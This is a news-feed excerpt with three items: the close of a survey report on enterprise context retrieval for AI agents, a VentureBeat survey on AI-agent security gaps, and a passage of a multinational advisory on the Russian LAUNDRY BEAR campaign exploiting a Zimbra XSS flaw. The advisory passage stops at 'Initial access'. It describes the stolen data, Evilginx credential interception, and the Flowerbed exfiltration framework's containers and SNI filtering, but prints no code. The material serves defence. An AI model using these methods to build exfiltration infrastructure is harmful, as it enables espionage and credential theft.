retrieval alone won’t close</h1><p>Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.</p><p>The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.</i></p>]]></content:encoded>
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<title><![CDATA[The agent security gap: 54% of enterprises have already had an AI agent incident, and most still let agents share credentials]]></title>
<description><![CDATA[Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents s...]]></description>
<link>https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents still share credentials; and only three in ten isolate their highest-risk agents. The security stack is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents, spending remains a thin slice of the security budget, and enterprises are evenly split on whether their defenses are keeping pace with AI-enabled attackers. The result is an agent security gap — autonomous agents proliferating faster than the identity, isolation, and enforcement controls needed to hold them.</p><p>This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.</p><p>The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.</p><p>What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.</p><p>Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.</p><h2>Finding 1: The incidents are already here</h2><p><b>More than half have had an agent security incident or near-miss</b></p><p>We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.</p><div></div><p>This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.</p><p>Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.</p><h2>Finding 2: The identity gap</h2><p><b>Only a third give every agent its own scoped identity</b></p><p>We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.</p><div></div><p>Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.) </p><p>The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.</p><p>Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.</p><h2>Finding 3: Observe and enforce, but rarely isolate</h2><p><b>Only three in 10 sandbox their highest-risk agents</b></p><p>We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.</p><div></div><p>Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.</p><h2>Finding 4: Security runs on borrowed, provider-native controls</h2><p><b>Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register</b></p><p>We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.</p><div></div><p>Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.</p><p>The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.</p><p>(<i>A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)</i></p><h2>Finding 5: And enterprises are comfortable with it</h2><p><b>Satisfaction is high, even as incidents mount and identity lags</b></p><p>We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.</p><div></div><p>Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.</p><h2>Finding 6: Budgets haven’t caught up</h2><p><b>Most spend under a tenth of the security budget on agents</b></p><p>We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.</p><div></div><p>Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.</p><h1>Finding 7: The arms race is even, at best</h1><p><b>Only a third think their AI defenses are ahead of AI-enabled attackers</b></p><p>We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.</p><div></div><p>Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.</p><h2>Finding 8: A security reshuffle is coming</h2><p><b>Nearly six in 10 plan to adopt or switch tooling within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.</p><div></div><p>The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle. </p><p>Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.</p><p>The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. </p><p>What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.</p><h2>The bottom line: A security gap that autonomy will test first</h2><p>Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.</p><p>The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.</i></p>]]></content:encoded>
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<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Thu, 23 Jul 2026 16:59:29 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
